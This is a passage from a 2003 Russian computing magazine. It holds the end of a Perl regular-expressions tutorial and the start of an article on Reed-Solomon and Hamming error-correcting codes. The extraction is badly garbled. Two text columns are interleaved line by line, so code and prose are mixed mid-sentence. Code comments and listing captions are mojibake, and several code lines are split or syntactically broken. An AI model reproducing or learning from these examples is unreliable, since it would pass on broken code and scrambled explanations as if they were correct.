# ñëó÷àå, åñëè ïîëüçîâàòåëü ââåäåò â STDIN, exit èëè quit èëè *********
# æå stop, òî ìû çàâåðøèì öèêë **********
if(/^(quit|exit|stop)$/){
last; Как видите, перенос строки остался, чтобы разрешить
}
} точке совпадать с переносом строки, нужно добавить мо-
дификатор s и все:
Нужно проверить, есть ли в строке слово ALPHA и сло-
во BETA: $string = "some text\nnew string";
$string =~ s/./*/gs;
print $string;
$string = "BETALPHA";
if(($string =~ /ALPHA/) and ($string =~ /BETA/)){
print "OK"; Результат:
}
********************
Или так:
То, что нужно...
if($string =~ /(?=.*ALPHA)(?=.*BETA)/){ Проверяем, в строке $string больше 80 символов или нет:
# òàê íå äåëàòü – ïðèìåð äëÿ ïåðåêðûâàþùèõñÿ ñîâïàäåíèé
print "OK";
} $string = "simple text";
$_ = $string;
$string =~ /^(?:(?!PAT).)*$/ if(/.{80,}/){
print "Length of text is OK";
}else{
Выражение истинно, если шаблон /PAT/ не совпадает print "Length of text isn't OK";
(аналогично $string !~ /PAT/). Далее насчет конструкций }
(?=шаблон) и т. д.
В следующем примере ищется слово, за которым сле- Теперь поговорим о квантификаторах.
дуют три восклицательных знака, но сам пробел не вклю-
чается в результат поиска: $string = "It is some text!!!!!!!!!!!!!!!!!";
$string =~ s/!+/!/;
print $string;
$string = "One! Two!! Three!!! And some words next...";
$string =~ m/(\w+(?=!!!))/;
print $1; В этом случае вывод будет таков: It is some text!
Квантификатор + означает одно или более совпаде-
Ответ: Three ний, но т.к. квантификаторы количества изначально яв-
Вот неплохой пример, взятый из книги Perl Cookbook. ляются «жадными» (о жадности квантификаторов ниже),
то в данном случае квантификатор + заменит самую длин-
$string = "1234567890"; ную последовательность восклицательных знаков, а вот
@nonlap = $string =~ /(\d\d\d)/g;
@yeslap = $string =~ /(?=(\d\d\d))/g; если поставить этот квантификатор – *, то в первом слу-
print "Non-overlapping: @nonlap\n"; чае он отработает также, но если строку заменить на эту:
print "Overlapping: @yeslap\n";

Вот что получается: $string = "It is some text";

Non-overlapping: 123 456 789 Тогда результат будет следующим: !It is some text
Overlapping: 123 234 345 456 567 678 789 890
Удивлены? Да, именно такой результат и будет, (не за-
Идем дальше: совпадение с любым символом, т.е. точ- были – квантификатор * означает ноль или более совпа-
ка (.), например: дений), т.к. в данном случае нет восклицательных зна-
ков, то он удовлетворяется нулем.
$string = "secret password"; Теперь посмотрим, если нужно определенное количе-
$string =~ s/./*/g;
print $string; ство символов, например:

Хоть * – это квантификатор, но в данном случае пред- $string = "It is some text!!!!!!!!?!!!!!!!!";
$string =~ s/!{8}//;
шествующего элемента нет, поэтому используется лек- print $string;
сическое значение и результат такой:
Здесь мы удаляем ровно 8 восклицательных знаков,
************** поэтому результат будет такой: It is some text?!!!!!!!!
Если мы добавим модификатор g, то и последние 8
Но мнимый символ точка не совпадает с символом восклицательных знаков тоже исчезнут, а вот если сде-
переноса строки, вот пример: лать 9 восклицательных знаков, тогда ничего не будет за-
менено...
$string = "some text\nnew string"; Теперь о «жадности» квантификаторов: квантифика-
$string =~ s/./*/g;
print $string; тор заменит самую длинную серию – это и есть жадность.
Разберем такой пример, вы хотите заменить «That is»
Вот вывод программы: на «That's»:

82
программирование
# âåðîÿòíî, âû ñäåëàòå òàê: Вот пример:
$string = "That is reality, isn't it?";
$string =~ s/.*is/That's/;
print $string; $string = "abcdef";
if($string =~ /[^abcde]+/){
print "In class";
Результат будет такой: That'sn't it? }
Т.к. «жадность» квантификаторов проявляется слева
направо, т.е. будет выбрана максимальная серия слева В данном случае результат будет такой: In class
направо. Это исправить легко – просто добавляем знак А если немного поменять $string:
вопроса «?»:
$string = "abcde";
$string =~ s/.*?is/That's/;
Тогда ничего не будет выведено, т.к. это и есть те сим-
И теперь результат будет тот, что нужно: That's reality, волы, которых не должно быть...
isn't it? Вопросительный знак обозначает ноль или одно А теперь давайте разберемся, что такое группа сим-
совпадение, поэтому как только найдено первое совпа- волов. С группами ассоциируются специальные перемен-
дение оно сразу заменяется, и все. ные – $1, $2, $3, ... и т. д. (но до бесконечности, а не до
Вот список минимальных квантификаторов: +?, *?, ??, {}?. девяти, как в JavaScript!). Разберем простой пример:
Дальше несколько примеров с квантификаторами.
Удаляем начальные пропуски: $string = "some_text 12345";
$string =~ /([a-z_]+)\s+(\d+)/g;
print "Text: $1\nNumbers: $2";
$string = " Some text";
$string =~ s/^\s+//;
Вот вывод программы:
Удаляем конечные пропуски:
Text: some_text
$string = "Some text "; Numbers: 12345
$string =~ s/\s+$//;
Что-то заключенное в скобки – это группа, с которой
А теперь классы и группы. ассоциируется специальная переменная вида $1 или ссыл-
Класс символов – это символ, или список символов, ка на группу вида \1.
заключенные в квадратные скобки. Любой символ из квад- В первой группе диапазон строчных символов от a до
ратных скобок сопоставляется со строкой для сравнения, z и символ подчеркивания (если вы хотите использовать
например: дефис как символ в группе, а не как диапазон, то поставь-
те перед ним обратную косую черту). Со вложенными скоб-
$string = "Berry"; ками также – на каждую открывающую скобку формиру-
if ($string =~ /[br]/){
print "B and R"; ется специальная переменная (например, $1). Меняем
} местами слова при помощи оператора s/.../.../:

В данном случае оператор m/.../ используется в ска- $string = "she loves me not";
# êàê âèäèòå, çäåñü ÷åòûðå ãðóïïû
лярном контексте, поэтому в случае совпадения шабло- $string =~ s/(\w+)\s+(\w+)\s+(\w+)\s+(\w+)/$4 $3 $2 $1/g;
на возвращает истину, иначе пустую строчку. Знак де- print $string;
фис (-) имеет особый смысл для класса символов – диа-
пазон символов (в начале указывается начальный сим-
вол, потом конечный), например: Вот вывод нашей программы: not me loves she
Есть и такой вариант, без регулярных выражений:
$string = "some Text";
if($string =~ /[A-Z]/){ $string = "she loves me not";
print "Uppercase here..."; $string = join(" ",reverse split(" ",$string));
}
Результат такой же, как и в первый раз.
Или вот другой пример: Также с помощью функции reverse можно проверить,
является ли слово палиндромом:
# åñëè åñòü áóêâû, òî âîçâðàùàåò èñòèíó
$string = "some text"; $word = "reviver";
if($string =~ /[A-Za-z]/){ print $is_palindrome = ($word eq reverse($word));
print "Letters here...";
}
Очень удобно работать с обработкой информации,
Здесь диапазон от A до Z заглавных букв, т.е. если в например, от данных выхода какой-нибудь программы...
строчке есть хотя бы одна заглавная буква то оператор Рассмотрим более сложный пример:
m/.../ возвращает истину. А если перед открывающей квад-
ратной скобкой, поставить символ ^, тогда смысл меня- # âîò êàêèå-íèáóäü âõîäíûå äàííûå
$string = " x = -15.32";
ется на противоположный, т.е. символ сравнивается, с лю- $string =~ ([a-z]+)\s*=\s*([+-]?\d+\.?\d*)
бым не входящим в этот класс. /x;

№8(9), август 2003 83


программирование
В переменной $1 находится «x», а в переменной $2 – $string =~ m%<(a|body)\s+(.*)>(.*)</\1>%;
$link_name = $3;
«-15.32». Теперь давайте разберемся, что к чему. В пер- print $link_name;
вой группе класс символов, т.е. диапазон символов от a
до z строчных букв (начиная от одной буквы и более, т.к. Вывод такой: go to main page
используется квантификатор «+», квантификаторы дей- Здесь \1 – это внутреняя ссылка на первую группу, т.е.,
ствуют только на предыдущий символ, или класс симво- например, в первой группе шаблон совпал с тегом A, тог-
лов). Далее, \s* значит сколько угодно пробельных сим- да \1 тоже будет равно тому же. Точно также, как и с дру-
волов, или ни одного, затем символ «=», и опять же \s*. гими ссылками \1,\2,\3...
После этого идет группа, в которой есть класс символов С помощью функции split() и шаблонов текст можно
из «+» и «-», т.е. это значит, что символ «+» или «-» мо- разбивать на куски, например, терминатор строки (или
жет присутствовать или не присутствовать (напомню: разделитель записей) должен быть фиксированной вели-
квантификатор «?» – ноль или одно совпадение). чиной, поэтому чтобы прочитать файл по шаблону, нуж-
Далее, \d+ одно или сколько угодно чисел, затем точ- но сделать следующее:
ка или ее нет, а затем ноль или сколько угодно чисел.
А теперь чуть-чуть усложним нашу задачу, пусть дан- open(FH,"file.txt") or die $!;
undef $/;
ные будут такие (например, их вводил человек и допус- @chunks = split(/\r\n|\n/,<FH>);
тил пару неточностей):
Данный кусок заносит в массив @chunks строки файла
x = 15.1 y = 3. z = +12.22 независимо от того, создан он в Unix-системе или в Windows.
x=3 y= 5 z=3.4
x=1 y=2 z=3 Также с помощью split() можно разбить строку на сим-
волы, т.е. каждый элемент массива будет равен одному
Т.е. в переменной это будет выглядеть так: символу, это делается так:

$string = " x = 15.1 y = 3. z = +12.22\nx=3 y= 5 z=3.4\ ↵ $string = "some letters";


nx=1 y=2 z=3"; @l = split(//,$string);
$c=0; # ñ÷åò÷èê èòåðàöèé
while($string =~ m/ Выше я в основном рассматривал работу с операто-
([a-z]+)\s*=\s*([+-]?\d+\.?\d*)\s+
([a-z]+)\s*=\s*([+-]?\d+\.?\d*)\s+ рами m/.../ и s/.../.../, а теперь посмотрим на оператор
([a-z]+)\s*=\s*([+-]?\d+\.?\d*)/xg){ трансляциии текста, т.е. tr/.../.../. Начнем с его модифика-
# èñïîëüçóåì ðàñøèðåííûé âèä – äëÿ áîëåå ëåãêîãî ÷òåíèÿ
$x = $2; # à âîò è äàííûå, ò.å. x, y, z торов:
$y = $4;
$z = $6;
 d – удаляет непарные символы;
# äàëåå ÷òî óãîäíî äåëàåì ñ äàííûìè,  с – первый аргумент это полный список из 256 симво-
# à â ïåðåìåííûõ $1, $3, $5 íàõîäÿòñÿ èìåíà ïåðåìåííûõ лов, кроме тех, которые указаны в аргументе;
# "âûòÿíóòûõ" èç äàííûõ íà âñÿêèé ñëó÷àé
$c++;  s – удаляет повторяющиеся символы, образованные
print "x = $x\n"; при замене.
print "y = $y\n";
print "z = $z\n";
print "Iteration number: $c\n\n"; Давайте посмотрим, как используется модификатор c:
}

Вывод программы будет таков: $string = "This is some text";


$string =~ tr[A-Za-z][*]c;
print $string;
x = 15.1
y = 3.
z = +12.22 Вот что получится: This*is*some*text
Iteration number: 1 В этом случае заменяются все символы, кроме тех,
x = 3 которые указаны в первом аргументе (т.е. всех латинс-
y = 5 ких), в данном случае – это пробел.
z = 3.4
Iteration number: 2 Удаляем удвоенные, утроенные и т. д. символы:
x = 1
y = 2 $string = "Thiiiisss is sooooome teeeeeeext";
z = 3 $string =~ tr[A-Za-z][]s;
Iteration number: 3 # åñëè âòîðîé àðãóìåíò ïóñò, òî â íåãî ïîäñòàâëÿåòñÿ
# ïåðâûé àðãóìåíò
print $string;
А теперь списковый контекст оператора m/.../:
Результат: This is some text
$string = "words 999 text"; Пример: я скачал книгу, но в ней был такой недоста-
# èçâëåêàåò â ìàññèâ @arr âñå "ñëîâà",
# à òî÷íåå, äèàïàçîí ñòðî÷íûõ èëè çàãëàâíûõ áóêâ îò a äî z ток: заглавные буквы были инвертированы строчными и
@arr = ($string =~ m/([A-Za-z]+)/g); наоборот, вот как я справился с этим:
print join " ",@arr;

Вот что получится: words text $string = "tHIS iS bUGGY tEXT !!!";
$string =~ tr{A-Za-z}{a-zA-z};
А теперь насчет использования внутренних ссылок. print $string;

$string = "<a href=index.htm>go to main page</a>"; Получилось, что надо: This Is Buggy Text !!!

84
программирование
Пересчитываем количество букв в строке: $string = "some\@mail.ru";
if($string =~ /([^<>(),;\s]+\@[^<>(),;\s]+)/){
print "Valid mail";
$string = "Some text"; }else{
$count = ($string =~ tr{A-Za-z}{}); print "Invalid mail";
print $count; }

Результат: 8 Это примитивная проверка, и рассчитана она только


Немного изменив выражение, можно подсчитать ко- на то, чтобы пользователь не ошибся при вводе. Лучше
личество небуквенных символов: всего проверить, правилен ли почтовый адрес – это по-
слать письмо с подтверждением.
$string = "Some _unique_text_ !!!"; Выделяем имя и расширение программы:
$count = ($string =~ tr{A-Za-z}{}c);
print $count;
$progname = "/usr/bin/perl.txt";
$progname =~ m%(^.*/)(.*)\.(.*)%;
Ответ – 8, или вместо диапазона A-Za-z можно подста- # $1 – ïóòü äî ïðîãðàììû: /usr/bin/
вить 0-9 и тогда, в $count будет количество цифр в строке. # $2 – ïðîãðàììà: perl.txt
# $3 – ïðîãðàììà áåç ðàñøèðåíèÿ: perl
Оператор tr/.../.../ возвращает количество успешных # $4 – ðàñøèðåíèå ïðîãðàììû: txt
замен, если не было сделано никаких замен – возвраща-
ет ноль. Таким образом можно подсчитать количество В основном это нужно для консольных приложений,
определенного символа в строке, например, подсчитыва- вместо $progname, подставьте специальную переменную
ем количество буквы i в строке. $0, хранящую имя данного исполняемого файла.
Поиск n-го совпадения, пример: в каждом четном рус-
$string = "This is some text !"; скоязычном слове у каждой нечетной буквы поднять ре-
$count = ($string =~ tr/i/i/);
print $count; гистр. Решение:

Результат: 2 use locale;


# äëÿ ðóññêèõ áóêâ (åñëè íàñòðîåí ëîêàëüíûé êîíòåêñò),
Если у оператора tr/.../.../ нет модификаторов, тогда ее # ò.å. óòâåðæäåíèå \w+ èñïîëüçóåòñÿ äëÿ ðóññêèõ ñëîâ
аргументы должны быть одинаковой длины, а если вто- $string = "çäåñü êàêèå-íèáóäü ñëîâà è ÷òî-íèáóäü åùå...";
$wc=0;
рой аргумент длиннее первого – он усекается до длины $string =~ s/(\w+)/
первого аргумента, например: if(++$wc % 2 == 0){
chars($1)
}else{
$string = "Some numbers: 7321"; $1
$string =~ tr/7321/0-9/; }
print $string; /igex;
sub chars{
Не зная того, что я сказал выше, вы, наверное, хотели my($text)=@_;
заменить цифры 7321 на 0123456789, но результат вот my($res,$chr,$i);
for($i=0;$i<=length($text);$i++){
какой: Some numbers: 0123 $chr = substr($text,$i,1);
Т.е. команда tr/7321/0-9/ равна следующей: tr/7321/0123/. if($i % 2 == 0){
$res.=uc($chr);
Даже если цифры будут не по порядку, т.е.: }else{
$res.=$chr;
}
$string = "Some numbers: 7 then 3 then 2 and then 1"; }
$string =~ tr/7321/0-9/;
return $res;
}
Результат будет таким:
print $string;
Some numbers: 0 then 1 then 2 and then 3
Вот какой результат будет:
Или вот другой пример:
çäåñü ÊàÊèÅ-íèáóäü ÑëÎâÀ è ×òÎ-íèáóäü ÅùÅ...
$string = "some text is here";
$string =~ tr/oet/ina/;
print $string; Программа Urlify из книги Perl Cookbook:

Вот что получилось: simn anxa is hnrn $urls = '(http|telnet|gopher|file|wais|ftp)';


$ltrs = '\w';
Т.е. к каждому символу в первом аргументе сопостав- $gunk = '/#~:.?+=&%@!\-';
ляется какой-то символ из второго аргумента. $punc = '.:?\-';
$any = "${$ltrs}${$gunk}${$punc}";
А вот если первый аргумент длиннее второго, тогда
последний символ второго аргумента повторяется до while(<>){
s{\b($urls:[$any]+?)(?=[$punc]*[^$any]|$)} ↵
тех пор, пока не будет по длине как первый, например, {<a href="$1">$1</a>}igox;
tr/0-9/abc/ это равно tr/0123456789/abcccccccc/, вот так. print;
Здесь мы рассмотрим множество решений, собранных }
мной:
Поверяем на правильность адрес электронной почты: Определение своих тегов:

№8(9), август 2003 85


программирование
$string = "some text, <uc>some uppercase text</uc>, than Вот результат:
normal text <uc>and uppercase text again</uc>";
$string =~ s#<uc>((?:(?!</uc>).)*)</uc>#uc($1)#igmse;
print $string; JavaScript: alert('cmon')
new.htm

Результат такой: Далее несколько решений, взятых из книги Perl Cookbook.


Удаление комментариев C (не идеальное):
some text, SOME UPPERCASE TEXT, than normal text AND UPPERCASE
TEXT AGAIN $string =~ s{
/\*
Вложенные теги не поддерживаются. .*?
Хочу сказать пару слов о «доставании» атрибутов из \*/
}[]gsx;
HTML-тегов, если вы не уверены в структуре, тогда это
надо делать через модули типа HTML::Parser и подобные Поиск всех слов, записанных символами верхнего ре-
ему. А если вам нужна скорость и может быть потеря не- гистра:
скольких ссылок, тогда воспользуйтесь моим решением:
@capwords = ($string =~ m/(\b[^\Wa-z0-9_]+\b)/g);
$href = qq~<a href = "JavaScript: alert('cmon')" ↵
title =" cmon "> test </a>
<a href='new.htm'>new link</a> Поиск всех слов, записанных символами нижнего ре-
~; гистра:
sub cut_tag{
my($tag,$param,$text)=@_;
my(@mas,$param_line); @capwords = ($string =~ m/(\b[^\WA-Z0-9_]+\b}/g);
if($tag and $param and $text){
while($text =~ m#<($tag)(.+?)>(.*?)</\1>#igso){
$param_line = $2; Поиск всех слов, начинающихся с буквы верхнего ре-
if($param_line =~ /$param/i){
$param_line =~ m/$param\s*=\s*(["']?) ↵ гистра:
(.*?)\1/ogis;
push(@mas,$2); @icwords = ($string =~ m/(\b[^\Wa-z0-9_][^\WA-Z0-9_]*\b)/g);
}
}
return @mas;
}else{ Вроде бы разобрались с операторами поиска/заме-
return 0; ны текста, на самом деле это очень маленькая доля того,
}
} что можно рассказать о регулярных выражениях, но как
# ïåðâûé àðãóìåíò – HTML-òåã, èç êîòîðîãî íóæíî äîñòàâàòü я говорил в самом начале статьи, что попытаюсь как
# àòðèáóò, âòîðîé àðãóìåíò – ýòî è åñòü àòðèáóò, êîòîðûé
# áóäåò âûíóò, à òðåòèé àðãóìåíò – ýòî òåêñò, èç êîòðîãî âñå можно лаконичнее объяснить материал, надеюсь, у меня
# ýòî áóäåò äîñòàâàòüñÿ (âñå èçâëåêàåòñÿ â ìàññèâ) получилось.
@m = cut_tag("a","href",$href);
print join "\n",@m; Удачи!

86
образование

МОГУЩЕСТВО КОДОВ РИДА-СОЛОМОНА


Энтропия слепа, но терпелива. Рано или поздно,
обстреливая наши позиции по квадратам, она нанесет
удар по штабу, по центру связи. И тогда первая линия
обороны уничтожена. И приходится отходить на
запасные позиции. Иными словами, доставать из
магнитотеки пакет дисков с копией тома.
Е. В. Лишак
«Тридцать второй день года.
(Записки парасистемного программиста).»

ИЛИ
ИНФОРМАЦИЯ, ВОСКРЕСШАЯ ИЗ ПЕПЛА
Все вы наверняка слышали о существовании помехозащитных кодов Рида-Соломона, широко
использующихся в устройствах передачи и хранения данных для обнаружения и исправления как
одиночных, так и групповых (!) ошибок. Область их применения необычайно широка – кодеры/декодеры
Рида-Соломона можно найти и в ленточных запоминающих устройствах, и в контроллерах
оперативной памяти, и в модемах, и в жестких дисках, и в CD-ROM/DVD-приводах и т. д. Благодаря
им некоторые продвинутые архиваторы безболезненно переносят порчу нескольких секторов
носителя, содержащего архив, а подчас и полное разрушение целого тома многотомного архива.
Еще коды Рида-Соломона позволяют защитному механизму автоматически восстанавливать
байтики, хакнутые взломщиком и/или искаженные в результате сбоя программного/аппаратного
обеспечения. Короче говоря, если владение техникой помехозащитного кодирования не превращает
вас в Бога, то, по крайней мере, поднимает на Олимп, где среди бесшумных вентиляторов
и безглючных операционных систем снуют великие компьютерные гуру.

КРИС КАСПЕРСКИ
88
образование
В то же время лишь немногие программисты могут по- но иного пути, видимо, нет. В конце концов никто не обе-
хвастаться собственной реализацией алгоритмов Рида- щал вам, что быть программистом – легко, а хорошим про-
Соломона. Да и зачем? Готовых библиотек море: от праг- граммистом быть еще труднее. Так что не говорите потом,
матичных коммерческих пакетов до бесплатных исходни- что я вас не предупреждал! Шутка! Расслабтесь и разгони-
ков, распространяемых по лицензии GNU. Как говорится, те свой страх перед высшей математикой прочь. По ходу
бери – не хочу1. Что ж, в использовании библиотек есть описания вам встретится пара формул (ну куда же в мате-
вполне определенный практический смысл, но никакой матике без формул?), но во всех остальных случаях я буду
хакер не доверит управление программе до тех пор, пока говорить на интернациональном программистском языке –
не поймет, как именно она работает (а эта публикация языке Си, понятным любому системщику. В общем, при-
именно для хакеров и предназначена, естественно, «ха- стегивайте ремни и поднимайте свои головы с клавиату-
керов» в хорошем значении этого слова). ры – мы поехали! Конечной целью нашего путешествия ста-
С другой стороны, при анализе программного обеспе- нет построение отказоустойчивого RAID-массива 5 уровня
чения, распространяемого без исходных кодов, вы не смо- на базе… нескольких обыкновенных IDE/SCSI-контролле-
жете идентифицировать алгоритм Рида-Соломона, если ров жестких дисков. 4/5 объема такого массива будут от-
только заранее не разберетесь во всех его тонкостях. даны непосредственно под полезные данные, а 1/5 – под
Допустим, вам встретилась защита, хитрым образом ма- избыточную информацию, позволяющую восстановить со-
нипулирующая с EDC/ECC-полями ключевых секторов, держимое любого жесткого диска из пяти данных, даже
считанных ею с лазерного диска, и каждый такой сектор если он будет полностью уничтожен!
содержит две умышленно внесенные ошибки (плюс еще
ошибки, естественным путем возникающие при небреж- Корректирующие коды
ном обращении с CD), причем одна из этих ошибок лож- и помехоустойчивое кодирование (азы)
ная и исправлять ее не нужно. При штатном копировании Персональные компьютеры с их битами и байтами настоль-
защищенного диска микропроцессорная начинка CD-ROM ко прочно вошли в нашу жизнь, что программисты вооб-
автоматически исправляет все ошибки, которые она толь- ще перестали задумываться о теории кодирования инфор-
ко может исправить, в результате чего происходит иска- мации, принимая ее как должное. Между тем, здесь все
жение ключевых меток и, как следствие, защищенная про- не так просто, как может показаться на первый взгляд.
грамма перестанет работать. Можно, конечно, скопиро- Фактически кодирование есть ни что иное, как пре-
вать диск в «сыром» режиме, т.е. без исправления оши- образование сообщения в последовательность кодовых
бок, но тогда копия будет содержать как непредумышлен- символов, так же называемых кодовыми словами. Лю-
ные, так и предумышленные ошибки, в результате чего бое дискретное сообщение состоит из конечного числа
даже при незначительном повреждении оригинала кор- элементов: в частности, текст состоит из букв, изобра-
ректирующих возможностей кодов Рида-Соломона уже жение состоит из пикселей, машинная программа состо-
окажется недостаточно, и диск просто перестанет читать- ит из команд и т. д., – все они образуют алфавит источ-
ся (а как вы хотели? копирование дисков в сыром режи- ника сообщения. При кодировании происходит преобра-
ме ведет к накоплению ошибок и потому крайне непрак- зование элементов сообщения в соответствующие им
тично с любой точки зрения). числа – кодовые символы, причем каждому элементу со-
Владение базовыми принципами помехозащитного общения присваивается уникальная совокупность кодо-
кодирования позволит вам разобраться с логикой рабо- вых символов, называемая кодовой комбинацией. Со-
ты защитного механизма и понять, какие конкретные вокупность кодовых комбинаций, образующих сообще-
ошибки следует исправлять, а какие нет. ние, и есть код. Множество возможных кодовых симво-
К сожалению, подавляющее большинство публикаций лов называется кодовым алфавитом, а их количество
на тему кодов Рида-Соломона написаны на языке выс- (далее по тексту обозначаемое малой латинской m) –
шей математики, для постижения которой и университет- основанием кода.
ских знаний подчас оказывается недостаточно (да и все Впрочем, все это вы уже наверняка знаете (а если не
ли хакеры знают математику?), в результате чего все эти знаете, то без труда найдете исчерпывающее объясне-
сильно теоретизированные руководства забрасываются ние основ кодирования в любом учебнике по информати-
на полку. ке), но знаете ли вы, что такое расстояние Хемминга? Это
Программная реализация корректирующих кодов минимальное количество различий между двумя различ-
Рида-Соломона действительно очень сложна и действи- ными допустимыми кодовыми словами и в теории поме-
тельно требует определенной математической подготов- хоустойчивого кодирования расстояние Хемминга играет
ки, изложение основ которой может показаться скучным основополагающую роль. Рассмотрим, например, следу-
и неинтересным для «системщиков» и «железячников», ющий 4-битный код:

Общее представление
Коды Рида-Соломона – недвоичные совершенные систематические линейные блочные коды, относящиеся к классу
циклических кодов с числовым полем, отличным от GF(2), и являющиеся подмножеством кодов Боуза-Чоудхури-
Хоквингема. Корректирующие способности кодов Рида-Соломона напрямую зависят от количества контрольных байт.
Добавление r контрольных байт позволяет обнаруживать r произвольным образом искаженных байт, гарантированно
восстанавливая r/2 байт из них.

№8(9), август 2003 89


образование
Ëèñòèíã 1. Ïðèìåð ïðîñòåéøåãî 4-áèòíîãî êîäà ñ ðàññòîÿíèåì минга между k и оригинальным символом равно числу не-
Õåììèíãà, ðàâíûì åäèíèöå. Òàêîé êîä øèðîêî èñïîëüçóåòñÿ â
âû÷èñëèòåëüíîé òåõíèêå, íåñìîòðÿ íà åãî íåâîçìîæíîñòü îáíà- посредственно искаженных бит (т.е. в нашем случае двум),
ðóæèòü îøèáêè. а расстояние до ближайшего соседнего символа равно: d – k
0 → 0000; 4 → 0100; 8 → 1000; 12 → 1100; (т.е. в нашем случае трем). Другими словами, пока d – k > k
1 → 0001; 5 → 0101; 9 → 1001; 13 → 1101; декодер может гарантированно восстановить искаженный
2 → 0010; 6 → 0110; 10 → 1010; 14 → 1110;
3 → 0011; 7 → 0111; 11 → 1011; 15 → 1111; символ. В тех случаях, когда d > k > d – k, успешное восста-
новление уже не гарантируется, но при удачном стечении
Это обыкновенный двоичный код, который можно обстоятельств все-таки оказывается в принципе возможным.
встретить в некоторых однокристаллках, вмещающий в Возвращаясь к нашему символу «0000011111», давай-
свои 4 бита 16 символов (т.е. с его помощью можно зако- те на этот раз исказим не два бита, а четыре:
дировать 16 букв алфавита). Как нетрудно убедиться, два «0100110101» и попробуем его восстановить. Изобразим
любых символа отличаются по меньшей мере на один бит, процесс восстановления графически:
следовательно, расстояние Хемминга для такого кода
равно единице (что условно обозначает как d = 1). Ëèñòèíã 4. Âîññòàíîâëåíèå 4-áèòíîé îøèáêè.
А вот другой 4-битный код: 0000000000 0000011111 1111100000 1111111111
0100110101 0100110101 0100110101 0100110101
---------- ---------- ---------- ----------
Ëèñòèíã 2. Ïðèìåð 4-áèòíîãî êîäà ñ ðàññòîÿíèåì Õåììèíãà, 5 îòëè÷èé
ðàâíûì äâóì, ñïîñîáíîãî îáíàðóæèâàòü îäèíî÷íûå îøèáêè. 4 îòëè÷èÿ 6 îòëè÷èé 5 îòëè÷èé

0 → 0000; 4 → 1001; Грубо говоря, обнаружив ошибку, декодер последова-


1 → 0011; 5 → 1010;
2 → 0101; 6 → 1100; тельно сличает искаженный символ со всеми разрешен-
3 → 0110; 7 → 1111; ными символами алфавита, стремясь найти символ наи-
более «похожий» на искаженный. Точнее, символ с наи-
На этот раз два произвольных символа отличаются как меньшим числом различий, а еще точнее, символ, отли-
минимум в двух позициях, за счет чего информационная чающийся от искаженного не более чем в (d – 1) позици-
емкость такого кода сократилась с 16 до 8 символов. «По- ях. Легко видеть, что в данном случае нам повезло, и вос-
стойте-постойте! – воскликнет иной читатель. – Что это за становленный символ совпал с истинным. Однако если
бред? Куда делась комбинация 0001 или 0010, например?». бы четыре искаженных бита распределились бы так:
Нет, это не бред, и указанных комбинаций бит в данном коде «0111111111», то декодер принял бы этот символ за
действительно нет, точнее, они есть, но объявлены запре- «1111111111» и восстановление оказалось бы неверным.
щенными. Благодаря этому обстоятельству наш подопеч- Таким образом, исправляющая способность кода опреде-
ный код способен обнаруживать любые одиночные ошибки. ляется по следующей формуле: для обнаружения r ошибок
Возьмем, например, символ «1010» и исказим в нем произ- расстояние Хемминга должно быть больше или равно r, а для
вольный бит (но только один!). Пусть это будет второй слева коррекции r ошибок расстояние Хемминга должно быть по
бит, тогда искаженный символ станет выглядеть так: «1110». крайней мере на единицу больше удвоенного количества r.
Поскольку комбинация «1110» является запрещенной, де-
кодер может засвидетельствовать наличие ошибки. Увы, Ëèñòèíã 5. Êîððåêòèðóþùèå ñïîñîáíîñòè ïðîñòîãî êîäà Õåììèíãà.
только засвидетельствовать, но не исправить, т.к. для ис- îáíàðóæåíèå îøèáîê: d ≥ r
правления даже одного-единственного сбойного байта тре- èñïðàâëåíèå îøèáîê: d > 2r
èíôîðìàöèîííàÿ åìêîñòü: 2n/d
буется увеличить расстояние Хемминга как минимум до трех.
Поскольку 4-битный код с d = 3 способен вмещать в себя Теоретически количество обнаруживаемых ошибок
лишь два различных символа, то он крайне ненагляден и неограничено, практически же информационная емкость
потому нам лучше выбрать код с большей разрядностью. кодовых слов стремительно тает с ростом d. Допустим, у
Хорошо, пусть это будет 10-битный код с d = 5. нас есть 24 байта данных, и мы хотели бы исправлять до
двух ошибок на каждый такой блок. Тогда нам придется
Ëèñòèíã 3. Ïðèìåð 10-áèòíîãî êîäà, ñ ðàññòîÿíèåì Õåììèíãà, добавить к этому блоку еще 49 байт, в результате чего
ðàâíûì ïÿòè, ñïîñîáíîãî îáíàðóæèâàòü 4-áèòíûå îøèáêè,
à èñïðàâëÿòü 2-áèòíûå. реальная информационная емкость блока сократится все-
го… до 30%! Хорошенькая перспектива, не так ли? Столь
0000000000 0000011111 1111100000 1111111111
плачевный результат объясняется тем, что биты кодового
Возьмем, к примеру, символ «0000011111» и искорежим слова изолированы друг от друга и изменение одного из
два любых бита, получив в итоге что-то наподобие: них никак не сказывается на окружающих. А что если…
«0100110111». Поскольку такая комбинация является зап- Пусть все биты, номера которых есть степень двойки,
рещенной, декодер понимает, что произошла ошибка. Дос- станут играть роль контрольных битов, а оставшиеся и бу-
таточно очевидно, что если количество сбойных бит мень- дут обычными («информационными») битами сообщения.
ше расстояния Хемминга хотя бы наполовину, то декодер Каждый контрольный бит должен отвечать за четность сум-
может гарантированно восстановить исходный символ. Дей- мы2 некоторой принадлежащей ему группы битов, причем
ствительно, если между двумя любыми разрешенными сим- один и тот же информационный бит может относиться к
волами существует не менее пяти различий, то искажение различным группам. Тогда один информационный бит смо-
двух бит всякого такого символа приведет к образованию жет влиять на несколько контрольных и потому информа-
нового символа (обозначим его k), причем расстояние Хем- ционная емкость слова значительно (можно даже сказать,

90
образование
чудовищно) возрастет. Остается только выбрать наиболее трольный бит при желании может быть легко восстанов-
оптимальное разделение сфер влияния. лен по методике, уже описанной выше (только есть ли в
Согласно методу помехозащитного кодирования, предло- этом смысл? ведь контрольные биты все равно «выкусы-
женного Хеммингом, для того чтобы определить, какие конт- ваются» в процессе декодирования кодового слова).
рольные биты контролируют информационный бит, стоящий На первый взгляд кажется, что коды Хемминга жутко не-
в позиции k, мы должны разложить k по степеням двойки: эффективны, ведь на 4 информационных бита у нас прихо-
Òàáëèöà 1. Ðàçäåëåíèå áèò íà êîíòðîëüíûå è èíôîðìàöèîííûå. дится 3 контрольных, однако поскольку номера контрольных
бит представляют собой степень двойки, то с ростом раз-
рядности кодового слова они начинают располагаться все
реже и реже. Так, ближайший к биту C контрольный бит D
находится в позиции 8 (т.е. в трех шагах), зато контрольный
бит E отделен от бита D уже на (24 - 23 - 1) = 7 «шагов», а
контрольный бит F и вовсе на (25 - 24 - 1) = 15 «шагов».
Таким образом, с увеличением разрядности обрабаты-
ваемого блока, эффективность кодов Хемминга стремитель-
но нарастает, что и показывает следующая программа:

